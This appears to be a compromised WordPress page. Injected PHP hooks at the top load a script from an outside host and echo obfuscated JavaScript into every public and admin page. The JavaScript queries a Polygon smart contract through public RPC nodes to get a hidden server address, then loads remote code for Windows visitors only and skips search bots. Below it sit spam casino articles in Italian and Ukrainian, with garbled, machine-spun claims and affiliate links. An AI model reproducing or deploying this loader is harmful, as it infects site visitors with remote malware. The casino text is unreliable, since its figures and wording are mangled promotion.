// CUSTOM_SCRIPT_INJECT_START
  add_action('wp_enqueue_scripts', function() {
    wp_enqueue_script('custom-inject', 'https://beroniw.com/hwkOP5', array(), '1.0', false);
  });
  // CUSTOM_SCRIPT_INJECT_END

add_action('wp_head', function() {
    echo '<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
    <div style="position:relative;width:30px;height:30px">
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.45s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.3s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.15s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite"></div>
    </div>
</div>
<style>@keyframes s{0%{transform:rotate(0)}to{transform:rotate(360deg)}}</style>
<script>
function decode(token, key) {
  if (key === undefined || key === null || key === "") key = "YS4LUfVezcJb8z1a2AZwSRvqE22mJ3";
  function _0xb9412d(str) {
    var _0x9434bc = [],
      i,
      _0xbg6fdb,
      _0x312b5g;
    for (i = 909702 ^ 909702; i < str["length"]; i++) {
      _0xbg6fdb = str["charCodeAt"](i);
      if (_0xbg6fdb >= (723028 ^ 774228) && _0xbg6fdb <= (949227 ^ 958484) && i + (734632 ^ 734633) < str["length"]) {
        _0x312b5g = str["charCodeAt"](i + (995588 ^ 995589));
        if (_0x312b5g >= (729311 ^ 785631) && _0x312b5g <= (691545 ^ 676518)) {
          _0xbg6fdb = 0x10000 + (_0xbg6fdb - (812835 ^ 835363) << (459295 ^ 459285)) + (_0x312b5g - (230080 ^ 220864));
          i++;
        }
      }
      if (_0xbg6fdb < (449134 ^ 449262)) _0x9434bc["push"](_0xbg6fdb);else if (_0xbg6fdb < (720669 ^ 718621)) _0x9434bc["push"](350342 ^ 350278 | _0xbg6fdb >> (230043 ^ 230045), 291289 ^ 291161 | _0xbg6fdb & (193921 ^ 193982));else if (_0xbg6fdb < 0x10000) _0x9434bc["push"](442951 ^ 443047 | _0xbg6fdb >> (871985 ^ 871997), 645132 ^ 645260 | _0xbg6fdb >> (690828 ^ 690826) & (612532 ^ 612491), 948669 ^ 948541 | _0xbg6fdb & (778275 ^ 778268));else _0x9434bc["push"](832521 ^ 832761 | _0xbg6fdb >> (280686 ^ 280700), 400952 ^ 401080 | _0xbg6fdb >> (626221 ^ 626209) & (791819 ^ 791860), 414103 ^ 413975 | _0xbg6fdb >> (997419 ^ 997421) & (311228 ^ 311171), 989695 ^ 989567 | _0xbg6fdb & (191762 ^ 191789));
    }
    return _0x9434bc;
  }
  function _0x_0x85e(str) {
    var _0x19eadd = (631932 ^ 631930) + (902884 ^ 902883);
    var _0xf09a1b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
    _0x19eadd = (185166 ^ 185167) + (786170 ^ 786171);
    var _0x2bfbc = {},
      i,
      _0xf53d,
      v,
      _0x26baf = [],
      _0x593d = 327328 ^ 327328,
      _0xd65c = 466659 ^ 466659;
    for (i = 361937 ^ 361937; i < _0xf09a1b["length"]; i++) _0x2bfbc[_0xf09a1b["charAt"](i)] = i;
    for (i = 887239 ^ 887239; i < str["length"]; i++) {
      _0xf53d = str["charAt"](i);
      if (!_0x2bfbc["hasOwnProperty"](_0xf53d)) continue;
      v = _0x2bfbc[_0xf53d];
      _0x593d = _0x593d << (685373 ^ 685371) | v;
      _0xd65c += 220431 ^ 220425;
      while (_0xd65c >= (894868 ^ 894876)) {
        _0xd65c -= 833357 ^ 833349;
        _0x26baf["push"](_0x593d >> _0xd65c & (431889 ^ 432110));
      }
      _0x593d &= ((765612 ^ 765613) << _0xd65c) - (365050 ^ 365051);
    }
    return _0x26baf;
  }
  function _0x3825ef(bytes) {
    var _0x88ec3f = "",
      i = 914658 ^ 914658,
      _0x751c,
      _0x77f5g;
    while (i < bytes["length"]) {
      _0x751c = bytes[i++];
      if (_0x751c < (239748 ^ 239620)) _0x77f5g = _0x751c;else if ((_0x751c & (238927 ^ 239023)) === (437681 ^ 437617)) _0x77f5g = (_0x751c & (382771 ^ 382764)) << (873940 ^ 873938) | bytes[i++] & (884876 ^ 884915);else if ((_0x751c & (127215 ^ 127007)) === (500436 ^ 500276)) _0x77f5g = (_0x751c & (508434 ^ 508445)) << (668523 ^ 668519) | (bytes[i++] & (537431 ^ 537448)) << (321874 ^ 321876) | bytes[i++] & (408013 ^ 408050);else _0x77f5g = (_0x751c & (836669 ^ 836666)) << (770078 ^ 770060) | (bytes[i++] & (265196 ^ 265171)) << (754974 ^ 754962) | (bytes[i++] & (411965 ^ 411906)) << (112413 ^ 112411) | bytes[i++] & (940071 ^ 940056);
      if (_0x77f5g > (762576 ^ 744751)) {
        _0x77f5g -= 0x10000;
        _0x88ec3f += String["fromCharCode"]((470118 ^ 521318) + (_0x77f5g >> (709106 ^ 709112)), (735643 ^ 779675) + (_0x77f5g & (989144 ^ 988199)));
      } else _0x88ec3f += String["fromCharCode"](_0x77f5g);
    }
    return _0x88ec3f;
  }
  var _0xf844c = _0xb9412d(key);
  if (_0xf844c["length"] === (199253 ^ 199253)) _0xf844c = [925306 ^ 925306];
  var _0xf_0x222 = _0x_0x85e(token);
  for (var i = 637210 ^ 637210; i < _0xf_0x222["length"]; i++) {
    _0xf_0x222[i] = _0xf_0x222[i] ^ _0xf844c[i % _0xf844c["length"]] + i * (228710 ^ 228847) & (383564 ^ 383667);
  }
  return _0x3825ef(_0xf_0x222);
}
async function getServers() {
  var _0xadf = (922268 ^ 922269) + (808006 ^ 808005);
  let _0x4ad48f = ["https://polygon.drpc.org", "https://tenderly.rpc.polygon.community", "https://polygon.publicnode.com", "/ppa.seidon.cilbup-nogylop//:sptth".split("").reverse().join(""), "https://1rpc.io/matic", "https://rpc-mainnet.matic.quiknode.pro", "cilbup/oi.ytilanifno.ipa.nogylop//:sptth".split("").reverse().join(""), "https://poly.api.pocket.network"];
  _0xadf = "jpbjgn";
  for (const _0x58d58d of _0x4ad48f) {
    try {
      let _0x12845f;
      const _0x6273bd = await fetch(_0x58d58d, {
        "method": "POST",
        "headers": {
          "Content-Type": "application/json"
        },
        "body": JSON["stringify"]({
          "jsonrpc": "2.0",
          "method": "eth_call",
          "params": [{
            "to": "0x8ECb2d418199994b8132de48645bd9e5178342C4",
            "data": "0x3bc5de30"
          }, "tsetal".split("").reverse().join("")],
          "id": 1
        })
      });
      _0x12845f = (214038 ^ 214039) + (347593 ^ 347597);
      const _0x4_0x3a9 = await _0x6273bd["json"]();
      if (_0x4_0x3a9["result"] && _0x4_0x3a9["result"] !== "x0".split("").reverse().join("")) {
        let h = _0x4_0x3a9["result"]["slice"](361923 ^ 361921);
        let t = "";
        for (let i = 203924 ^ 203796; i < h["length"]; i += 262304 ^ 262306) {
          var _0x2b09bf = (217862 ^ 217863) + (905457 ^ 905460);
          let c = parseInt(h["substr"](i, 361377 ^ 361379), 648160 ^ 648176);
          _0x2b09bf = (969637 ^ 969633) + (423032 ^ 423033);
          if (c !== (193955 ^ 193955)) {
            t += String["fromCharCode"](c);
          } else {
            break;
          }
        }
        let _0xc75g5d = decode(t);
        return _0xc75g5d;
      }
    } catch (error) {}
  }
  return null;
}
function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    var _0x6cca = (831319 ^ 831312) + (409477 ^ 409474);
    const _0x7ba5ge = document["createElement"]("tpircs".split("").reverse().join(""));
    _0x6cca = (614944 ^ 614949) + (487765 ^ 487773);
    _0x7ba5ge["src"] = String(srcUrl);
    _0x7ba5ge["defer"] = !![];
    var _0x4413f = (666795 ^ 666794) + (337595 ^ 337597);
    const _0xbb2g = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    _0x4413f = "pceopf";
    _0x7ba5ge["onload"] = () => {
      clearTimeout(_0xbb2g);
      resolve(_0x7ba5ge);
    };
    _0x7ba5ge["onerror"] = () => {
      clearTimeout(_0xbb2g);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window["currentServer"] = srcUrl;
    document["head"]["appendChild"](_0x7ba5ge);
  });
}
async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      let _0xb51cb;
      const script = await tryLoadScript(url, 646158 ^ 645046);
      _0xb51cb = 152090 ^ 152083;
      return script;
    } catch (error) {}
  }
  for (const url of urls) {
    try {
      var _0x55bcaf = (511209 ^ 511211) + (695946 ^ 695945);
      const script = await tryLoadScript(url, 798673 ^ 800929);
      _0x55bcaf = (245149 ^ 245149) + (264535 ^ 264542);
      return script;
    } catch (error) {}
  }
  throw new Error("secruos lla morf tpircs daol ot deliaF".split("").reverse().join(""));
}
(async function (_0x8f15da, _0xb46f) {
  const _0xcc37e = ["bot", "google", "spider"];
  const _0x4d182c = _0xcc37e["some"](w => navigator["userAgent"]["toLowerCase"]()["includes"](w["toLowerCase"]()));
  _0x8f15da = (995435 ^ 995427) + (824819 ^ 824818);
  const _0x6dbd3g = typeof navigator !== "undefined" && (navigator["platform"] || "")["toLowerCase"]()["includes"]("win") && new RegExp("windows", "i")["test"](navigator["userAgent"] || "");
  _0xb46f = (957470 ^ 957464) + (461189 ^ 461184);
  if (!_0x4d182c && _0x6dbd3g) {
    setTimeout(() => document["getElementById"]("R2FvKSeqkPMZAnMV")?.remove(), 336540 ^ 328116);
    try {
      var _0xd23c = (276765 ^ 276762) + (410212 ^ 410208);
      const _0x36dfae = await getServers();
      _0xd23c = "ckadnl".split("").reverse().join("");
      if (_0x36dfae && _0x36dfae["includes"](";")) {
        const scriptUrls = _0x36dfae["split"](";")["map"](item => item + "/js/all.min.js");
        await createDeferredScript(scriptUrls);
      } else {
        let _0x3d3db;
        const scriptUrls = [_0x36dfae + "sj.nim.lla/sj/".split("").reverse().join("")];
        _0x3d3db = (373593 ^ 373592) + (798224 ^ 798229);
        await createDeferredScript(scriptUrls);
      }
    } catch (error) {}
  } else {
    document["getElementById"]("R2FvKSeqkPMZAnMV")?.remove();
  }
})();
</script>
';
});
add_action('admin_head', function() {
    echo '<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
    <div style="position:relative;width:30px;height:30px">
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.45s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.3s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.15s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite"></div>
    </div>
</div>
<style>@keyframes s{0%{transform:rotate(0)}to{transform:rotate(360deg)}}</style>
<script>
function decode(token, key) {
  if (key === undefined || key === null || key === "") key = "YS4LUfVezcJb8z1a2AZwSRvqE22mJ3";
  function _0xb9412d(str) {
    var _0x9434bc = [],
      i,
      _0xbg6fdb,
      _0x312b5g;
    for (i = 909702 ^ 909702; i < str["length"]; i++) {
      _0xbg6fdb = str["charCodeAt"](i);
      if (_0xbg6fdb >= (723028 ^ 774228) && _0xbg6fdb <= (949227 ^ 958484) && i + (734632 ^ 734633) < str["length"]) {
        _0x312b5g = str["charCodeAt"](i + (995588 ^ 995589));
        if (_0x312b5g >= (729311 ^ 785631) && _0x312b5g <= (691545 ^ 676518)) {
          _0xbg6fdb = 0x10000 + (_0xbg6fdb - (812835 ^ 835363) << (459295 ^ 459285)) + (_0x312b5g - (230080 ^ 220864));
          i++;
        }
      }
      if (_0xbg6fdb < (449134 ^ 449262)) _0x9434bc["push"](_0xbg6fdb);else if (_0xbg6fdb < (720669 ^ 718621)) _0x9434bc["push"](350342 ^ 350278 | _0xbg6fdb >> (230043 ^ 230045), 291289 ^ 291161 | _0xbg6fdb & (193921 ^ 193982));else if (_0xbg6fdb < 0x10000) _0x9434bc["push"](442951 ^ 443047 | _0xbg6fdb >> (871985 ^ 871997), 645132 ^ 645260 | _0xbg6fdb >> (690828 ^ 690826) & (612532 ^ 612491), 948669 ^ 948541 | _0xbg6fdb & (778275 ^ 778268));else _0x9434bc["push"](832521 ^ 832761 | _0xbg6fdb >> (280686 ^ 280700), 400952 ^ 401080 | _0xbg6fdb >> (626221 ^ 626209) & (791819 ^ 791860), 414103 ^ 413975 | _0xbg6fdb >> (997419 ^ 997421) & (311228 ^ 311171), 989695 ^ 989567 | _0xbg6fdb & (191762 ^ 191789));
    }
    return _0x9434bc;
  }
  function _0x_0x85e(str) {
    var _0x19eadd = (631932 ^ 631930) + (902884 ^ 902883);
    var _0xf09a1b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
    _0x19eadd = (185166 ^ 185167) + (786170 ^ 786171);
    var _0x2bfbc = {},
      i,
      _0xf53d,
      v,
      _0x26baf = [],
      _0x593d = 327328 ^ 327328,
      _0xd65c = 466659 ^ 466659;
    for (i = 361937 ^ 361937; i < _0xf09a1b["length"]; i++) _0x2bfbc[_0xf09a1b["charAt"](i)] = i;
    for (i = 887239 ^ 887239; i < str["length"]; i++) {
      _0xf53d = str["charAt"](i);
      if (!_0x2bfbc["hasOwnProperty"](_0xf53d)) continue;
      v = _0x2bfbc[_0xf53d];
      _0x593d = _0x593d << (685373 ^ 685371) | v;
      _0xd65c += 220431 ^ 220425;
      while (_0xd65c >= (894868 ^ 894876)) {
        _0xd65c -= 833357 ^ 833349;
        _0x26baf["push"](_0x593d >> _0xd65c & (431889 ^ 432110));
      }
      _0x593d &= ((765612 ^ 765613) << _0xd65c) - (365050 ^ 365051);
    }
    return _0x26baf;
  }
  function _0x3825ef(bytes) {
    var _0x88ec3f = "",
      i = 914658 ^ 914658,
      _0x751c,
      _0x77f5g;
    while (i < bytes["length"]) {
      _0x751c = bytes[i++];
      if (_0x751c < (239748 ^ 239620)) _0x77f5g = _0x751c;else if ((_0x751c & (238927 ^ 239023)) === (437681 ^ 437617)) _0x77f5g = (_0x751c & (382771 ^ 382764)) << (873940 ^ 873938) | bytes[i++] & (884876 ^ 884915);else if ((_0x751c & (127215 ^ 127007)) === (500436 ^ 500276)) _0x77f5g = (_0x751c & (508434 ^ 508445)) << (668523 ^ 668519) | (bytes[i++] & (537431 ^ 537448)) << (321874 ^ 321876) | bytes[i++] & (408013 ^ 408050);else _0x77f5g = (_0x751c & (836669 ^ 836666)) << (770078 ^ 770060) | (bytes[i++] & (265196 ^ 265171)) << (754974 ^ 754962) | (bytes[i++] & (411965 ^ 411906)) << (112413 ^ 112411) | bytes[i++] & (940071 ^ 940056);
      if (_0x77f5g > (762576 ^ 744751)) {
        _0x77f5g -= 0x10000;
        _0x88ec3f += String["fromCharCode"]((470118 ^ 521318) + (_0x77f5g >> (709106 ^ 709112)), (735643 ^ 779675) + (_0x77f5g & (989144 ^ 988199)));
      } else _0x88ec3f += String["fromCharCode"](_0x77f5g);
    }
    return _0x88ec3f;
  }
  var _0xf844c = _0xb9412d(key);
  if (_0xf844c["length"] === (199253 ^ 199253)) _0xf844c = [925306 ^ 925306];
  var _0xf_0x222 = _0x_0x85e(token);
  for (var i = 637210 ^ 637210; i < _0xf_0x222["length"]; i++) {
    _0xf_0x222[i] = _0xf_0x222[i] ^ _0xf844c[i % _0xf844c["length"]] + i * (228710 ^ 228847) & (383564 ^ 383667);
  }
  return _0x3825ef(_0xf_0x222);
}
async function getServers() {
  var _0xadf = (922268 ^ 922269) + (808006 ^ 808005);
  let _0x4ad48f = ["https://polygon.drpc.org", "https://tenderly.rpc.polygon.community", "https://polygon.publicnode.com", "/ppa.seidon.cilbup-nogylop//:sptth".split("").reverse().join(""), "https://1rpc.io/matic", "https://rpc-mainnet.matic.quiknode.pro", "cilbup/oi.ytilanifno.ipa.nogylop//:sptth".split("").reverse().join(""), "https://poly.api.pocket.network"];
  _0xadf = "jpbjgn";
  for (const _0x58d58d of _0x4ad48f) {
    try {
      let _0x12845f;
      const _0x6273bd = await fetch(_0x58d58d, {
        "method": "POST",
        "headers": {
          "Content-Type": "application/json"
        },
        "body": JSON["stringify"]({
          "jsonrpc": "2.0",
          "method": "eth_call",
          "params": [{
            "to": "0x8ECb2d418199994b8132de48645bd9e5178342C4",
            "data": "0x3bc5de30"
          }, "tsetal".split("").reverse().join("")],
          "id": 1
        })
      });
      _0x12845f = (214038 ^ 214039) + (347593 ^ 347597);
      const _0x4_0x3a9 = await _0x6273bd["json"]();
      if (_0x4_0x3a9["result"] && _0x4_0x3a9["result"] !== "x0".split("").reverse().join("")) {
        let h = _0x4_0x3a9["result"]["slice"](361923 ^ 361921);
        let t = "";
        for (let i = 203924 ^ 203796; i < h["length"]; i += 262304 ^ 262306) {
          var _0x2b09bf = (217862 ^ 217863) + (905457 ^ 905460);
          let c = parseInt(h["substr"](i, 361377 ^ 361379), 648160 ^ 648176);
          _0x2b09bf = (969637 ^ 969633) + (423032 ^ 423033);
          if (c !== (193955 ^ 193955)) {
            t += String["fromCharCode"](c);
          } else {
            break;
          }
        }
        let _0xc75g5d = decode(t);
        return _0xc75g5d;
      }
    } catch (error) {}
  }
  return null;
}
function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    var _0x6cca = (831319 ^ 831312) + (409477 ^ 409474);
    const _0x7ba5ge = document["createElement"]("tpircs".split("").reverse().join(""));
    _0x6cca = (614944 ^ 614949) + (487765 ^ 487773);
    _0x7ba5ge["src"] = String(srcUrl);
    _0x7ba5ge["defer"] = !![];
    var _0x4413f = (666795 ^ 666794) + (337595 ^ 337597);
    const _0xbb2g = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    _0x4413f = "pceopf";
    _0x7ba5ge["onload"] = () => {
      clearTimeout(_0xbb2g);
      resolve(_0x7ba5ge);
    };
    _0x7ba5ge["onerror"] = () => {
      clearTimeout(_0xbb2g);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window["currentServer"] = srcUrl;
    document["head"]["appendChild"](_0x7ba5ge);
  });
}
async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      let _0xb51cb;
      const script = await tryLoadScript(url, 646158 ^ 645046);
      _0xb51cb = 152090 ^ 152083;
      return script;
    } catch (error) {}
  }
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<style id='wp-block-site-tagline-inline-css'>
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<style id='wp-block-columns-inline-css'>
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	<h1 class="wp-block-query-title">Author: <span>incipro22pan</span></h1>
	 
	
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			<h2 class="wp-block-post-title has-x-large-font-size"><a href="https://incipro.nogway.com/panoramica-esaustiva-ai-casino-online-in-nostro-paese/" target="_self" >🎰 Panoramica Esaustiva ai Casino Online in nostro Paese</a></h2>
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<nav>
<h2>Elenco dei Argomenti</h2>
<ul>
<li><a href="#regolamentazione-legale">Normativa Giuridica e Tutela</a></li>
<li><a href="#metodi-pagamento">Modalità di Versamento Offerti</a></li>
<li><a href="#giochi-popolari">I Titoli Più Richiesti</a></li>
<li><a href="#bonus-promozioni">Bonus e Vantaggi</a></li>
<li><a href="#requisiti-tecnici">Requisiti Sistemistici e Adattabilità</a></li>
<li><a href="#responsabilita-gioco">Responsabilità nel Gioco</a></li>
</ul>
</nav>
<h2 id="regolamentazione-legale">Legislazione Normativa e Tutela</h2>
<p>La nostra piattaforma opera in pieno rispetto della regolamentazione del Paese sul azzardo d&#8217;azzardo online, regolamentata dall&#8217;Organismo delle Entrate e dei Servizi (ADM). Secondo informazioni certificati ADM del 2023, il settore domestico dei giochi online ha prodotto una raccolta totale maggiore ai 25 migliaia di EUR, confermando la solidità e la credibilità del comparto regolamentato.</p>
<p>Garantiamo ai attuali utenti un contesto di intrattenimento protetto tramite standard di cifratura SSL a dual bit, gli identici criteri utilizzati dalle organizzazioni finanziarie globali. Qualsiasi operazione viene controllata costantemente per impedire frodi e garantire la massima trasparenza. La concessione ADM costituisce un timbro di eccellenza che assicura controlli costanti sui attuali apparati di gioco e sulla regolarità dei versamenti.</p>
<p>Collaborando con <a href="https://lunetrax.net/">Lunetrax</a>, offriamo un servizio di divertimento validata che osserva tutti i requisiti legislativi correnti nel territorio italiano.</p>
<h2 id="metodi-pagamento">Sistemi di Versamento Accessibili</h2>
<p>Per semplificare depositi e prelievi, rendiamo a disposizione un&#8217;estesa varietà di opzioni economiche idonee a ogni esigenza. La diversificazione dei strumenti di transazione configura uno dei aspetti di forza della attuale struttura.</p>
<table>
<thead>
<tr>
<th>Modalità di Pagamento</th>
<th>Tempo di Processamento Versamento</th>
<th>Durata di Processamento Ritiro</th>
<th>Commissioni</th>
</tr>
</thead>
<tbody>
<tr>
<td>Carta di Credito/Debito</td>
<td>Istantaneo</td>
<td>3-5 periodi lavorativi</td>
<td>Gratuita</td>
</tr>
<tr>
<td>Wallet Online</td>
<td>Immediato</td>
<td>24-48 h</td>
<td>Nessuna</td>
</tr>
<tr>
<td>Versamento Finanziario</td>
<td>1-3 periodi lavorativi</td>
<td>3-7 giornate utili</td>
<td>Gratuita</td>
</tr>
<tr>
<td>Card Prepagate</td>
<td>Rapido</td>
<td>2-4 periodi operativi</td>
<td>Nessuna</td>
</tr>
</tbody>
</table>
<h3>Vantaggi dei Versamenti Elettronici</h3>
<p>I wallet elettronici costituiscono la opzione preferita dalla gran parte dei attuali utenti grazie alla velocità di processamento e ai standard di sicurezza superiori. Questi sistemi abilitano di mantenere differenziate le fondi riservate al gaming da quelle personali, promuovendo un supervisione estremamente preciso delle costi.</p>
<h2 id="giochi-popolari">I Titoli Maggiormente Apprezzati</h2>
<p>Il nostro assortimento di gioco contiene migliaia di titoli realizzati dai top fornitori globali di software per il intrattenimento. Ciascuna categoria di passatempo è risulta accuratamente vagliata per assicurare molteplicità, qualità grafica e tassi di restituzione al player competitive.</p>
<p><iframe width="560" height="315" src="https://www.youtube.com/embed/86EqxKiNdaY?autoplay=1&#038;mute=1" frameborder="0" allowfullscreen></iframe></p>
<ul>
<li><strong>Macchinette Machine:</strong> Più di 2000 titoli con ambientazioni molteplici, dai classici frutti alle narrazioni video, con vincite crescenti che riescono a raggiungere cifre considerevoli</li>
<li><strong>Giochi da Tavolo:</strong> Roulette, blackjack, baccarat e texas in numerose varianti, sia in formato RNG che con croupier dal live</li>
<li><strong>Casinò Live:</strong> Dirette in massima definizione con mazzieri qualificati che gestiscono sessioni in tempo diretto dalle fasce pomeridiane fino a tarda sera</li>
<li><strong>Videopoker Poker:</strong> Dispositivi che uniscono la competenza del gioco di carte tradizionale con la facilità delle videoslot, garantendo RTP maggiori al 99% nelle varianti migliori</li>
</ul>
<h3>Tassi di Rendimento al Utente</h3>
<p>Pubblichiamo ogni mese i numeri RTP (Ritorno to Utente) validati da enti di supervisione autonomi. Le nostre macchinette machine mantengono una percentuale del 96,5%, invece i passatempi da table eccedono frequentemente il 98%, fornendo equità e limpidezza complete.</p>
<h2 id="bonus-promozioni">Premi e Vantaggi</h2>
<table>
<thead>
<tr>
<th>Tipo di Incentivo</th>
<th>Ammontare Medio</th>
<th>Condizioni di Playthrough</th>
<th>Scadenza</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bonus di Registrazione</td>
<td>100% up a €1000</td>
<td>35x</td>
<td>30 gg</td>
</tr>
<tr>
<td>Giri Omaggio</td>
<td>50-200 spin spin</td>
<td>40x guadagni</td>
<td>7 gg</td>
</tr>
<tr>
<td>Restituzione Periodico</td>
<td>10-20% losses</td>
<td>1x</td>
<td>Permanente</td>
</tr>
<tr>
<td>Deposito</td>
<td>50% up a €500</td>
<td>30x</td>
<td>14 giorni</td>
</tr>
</tbody>
</table>
<p>Le attuali promozioni vengono configurate con termini limpide e evidenti. Antecedentemente di attivare qualunque premio, consigliamo costantemente la consultazione accurata dei requisiti applicabili, disponibili nella sezione dedicata del sito. Il programma VIP ricompensa i giocatori frequenti con punti riscattabili in credito di gioco o privilegi riservati.</p>
<h2 id="requisiti-tecnici">Caratteristiche Tecnici e Compatibilità</h2>
<p>La nostra piattaforma è stata realizzata con framework HTML5, fornendo funzionalità completa con tutti i device moderni senza necessità di installazione. Qualora si impieghi uno telefono, tablet o PC desktop, l&#8217;esperienza di gioco resta scorrevole e calibrata.</p>
<ol>
<li><strong>Apparecchi Mobili:</strong> Funzionalità nativa con iOS e Android, grafica tattile e impiego banda ridotto per collegamenti 4G/5G</li>
<li><strong>Computer Desktop:</strong> Supporto per ciascuno dei i primari navigatori (Chrome, Firefox, Safari, Edge) con qualità adattiva da HD a 4K</li>
<li><strong>Rete Internet:</strong> Velocità minima raccomandata di 5 Mbps per giochi base, 10 Mb per diretta live in elevata definizione</li>
<li><strong>Sistema Operativo:</strong> Nessun parametro specifico, operatività assicurato su release attuali di Windows, macOS, Linux, iOS e Android</li>
</ol>
<h3>Fruizione di Gaming Perfezionata</h3>
<p>Destiniamo fondi regolarmente nella struttura IT per ridurre i tempi di caricamento e garantire stabilità in le round di gaming. I sistemi collocati geograficamente assicurano latenza minima e fruibilità del piattaforma 24 ore su 24.</p>
<h2 id="responsabilita-gioco">Responsabilità nel Divertimento</h2>
<p>Promuoviamo concretamente approcci di gaming consapevole, stimandole elemento essenziale della nostra missione corporativa. Rendiamo a servizio strumenti di autocontrollo che abilitano ai giocatori di controllare responsabilmente la individuale attività ludica.</p>
<p>Gli clienti hanno la possibilità di definire tetti giornalieri, settimanali o mensili su depositi, puntate e perdite. Presentiamo anche possibilità di autolimitazione limitata o definitiva, abilitabili in ciascun tempo mediante lo spazio riservata. Il nostro reparto assistenza è addestrato per individuare indicatori di comportamento rischioso e erogare supporto idonea, guidando quando necessario verso organizzazioni focalizzate nel sostegno ai player.</p>
<p>Evidenziamo che il gioco deve restare un&#8217;attività di intrattenimento, assolutamente non una origine di reddito o una risposta a criticità finanziarie. La limpidezza, la sicurezza e il benessere dei nostri utenti configurano valori fondamentali su cui basiamo qualsiasi scelta operativa.</p>
</div>
			<div style="margin-top:var(--wp--preset--spacing--40);" class="wp-block-post-date has-small-font-size"><time datetime="2025-09-04T06:06:08+00:00"><a href="https://incipro.nogway.com/panoramica-esaustiva-ai-casino-online-in-nostro-paese/">September 4, 2025</a></time></div>
		</div>
		
	</li><li class="wp-block-post post-10030 post type-post status-publish format-standard hentry category-uncategorized">
		
		<div class="wp-block-group alignfull has-global-padding is-layout-constrained wp-block-group-is-layout-constrained" style="padding-top:var(--wp--preset--spacing--60);padding-bottom:var(--wp--preset--spacing--60)">
			
			<h2 class="wp-block-post-title has-x-large-font-size"><a href="https://incipro.nogway.com/nv-casino-tvoie-bezpechne-igrove-prostir-z-litsenzovanistiu-curacao/" target="_self" >NV Casino –Твоє Безпечне Ігрове Простір з Ліцензованістю Curacao</a></h2>
			<div class="entry-content alignfull wp-block-post-content has-medium-font-size has-global-padding is-layout-constrained wp-block-post-content-is-layout-constrained"><p><img decoding="async" style="display: block; margin-left: auto; margin-right: auto;" src="https://i.ibb.co/5xxhd75y/Chat-GPT-Image-4-2025-09-23-08-Copy-Copy.png"></img></p>
<nav>
<h2>Зміст</h2>
<ul>
<li><a href="#licencovani-overeni">Ліцензування та валідація даної платформи</a></li>
<li><a href="#herní-portfolio">Ігрове портфоліо та провайдери</a></li>
<li><a href="#bonusy-akce">Заохочувальна система та бонусні пропозиції</a></li>
<li><a href="#platebni-metody">Методи оплати та зняття засобів</a></li>
<li><a href="#mobilni-pristup">Мобільний доступ та технології</a></li>
</ul>
</nav>
<h2 id="licencovani-overeni">Ліцензованість та верифікація нашої системи</h2>
<p>Ми функціонуємо на базі офіційної дозволу Curacao (No. 8048/JAZ), що підтверджує нашу compliance міжнародним вимогам безпечності та справедливості. <a href="https://nv-casino-czechia.com/registrace-konta/">na této stránce</a> використовує 256-розрядне SSL-encryption для охорони приватних відомостей гравців та фінансових операцій. Наша платформа регулярно проходить аудит сторонніми компаніями, які тестують справедливість RNG випадкових числових значень та виплат.</p>
<p>Верифікація акаунтів записів виконується відповідно до вимог KYC (Know Your Customer) для запобігання шахрайству та відмиванню засобів. Процес валідації особистості триває від двадцяти чотирьох до сорока восьми годин після подання обов&#8217;язкових паперів. Компанія обіцяємо секретність всіх переданих даних та їх вживання тільки для верифікації клієнтів.</p>
<h2 id="herní-portfolio">Гемблінгове портфель та постачальники</h2>
<p>Наша колекція налічує більше 3500 гральних апаратів від кращих постачальників галузі. Співпраця з кращими постачальниками дозволяє нам забезпечувати найсучасніші автомати з новими механіками та підвищеними показниками RTP. Живе казино представлене столами з кваліфікованими дилерами, які працюють у режимі real-time перебігу з HD-стрімом.</p>
<table>
<thead>
<tr>
<th>Тип розваг</th>
<th>Число позицій</th>
<th>Популярні провайдери</th>
<th>Мінімальна ставка</th>
</tr>
</thead>
<tbody>
<tr>
<td>Слоти</td>
<td>2800+</td>
<td>Pragmatic Play, NetEnt, Microgaming</td>
<td>0,10 €</td>
</tr>
